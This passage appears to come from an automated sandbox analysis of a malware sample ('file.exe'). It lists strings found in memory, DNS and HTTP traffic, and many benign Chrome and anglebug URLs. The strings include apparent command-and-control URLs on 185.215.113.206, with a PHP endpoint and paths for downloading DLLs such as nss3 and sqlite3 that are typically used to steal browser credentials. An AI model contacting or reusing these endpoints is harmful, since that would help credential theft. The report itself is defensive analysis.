Source: chrome.exe, 00000001.00000003.1823453279.00001F3C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823399027.00001F3C00F64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823494208.00001F3C00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, file.exe, 00000000.00000002.2109583289.0000000000C3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2109583289.0000000000CF6000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2110649970.00000000019BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/-
Source: file.exe, 00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2109583289.0000000000D24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php%
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php&F
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: file.exe, 00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php8
Source: file.exe, 00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php9
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpSession
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpXl
Source: file.exe, 00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpY
Source: file.exe, 00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpa
Source: file.exe, 00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpem
Source: file.exe, 00000000.00000002.2109583289.0000000000C3C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phplaF
Source: file.exe, 00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpmainnet
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phprowser
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2110649970.0000000001A17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dllq
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2110649970.00000000019BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2109583289.0000000000D24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2110649970.00000000019BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll-progrU
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dlle
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllrverAp
Source: file.exe, 00000000.00000002.2110649970.0000000001A33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllu
Source: file.exe, 00000000.00000002.2110649970.00000000019BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206C-
Source: file.exe, 00000000.00000002.2109583289.0000000000C3C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206GHI
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000001.00000003.1819266009.00001F3C009BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1819224222.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817663680.00001F3C0036C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
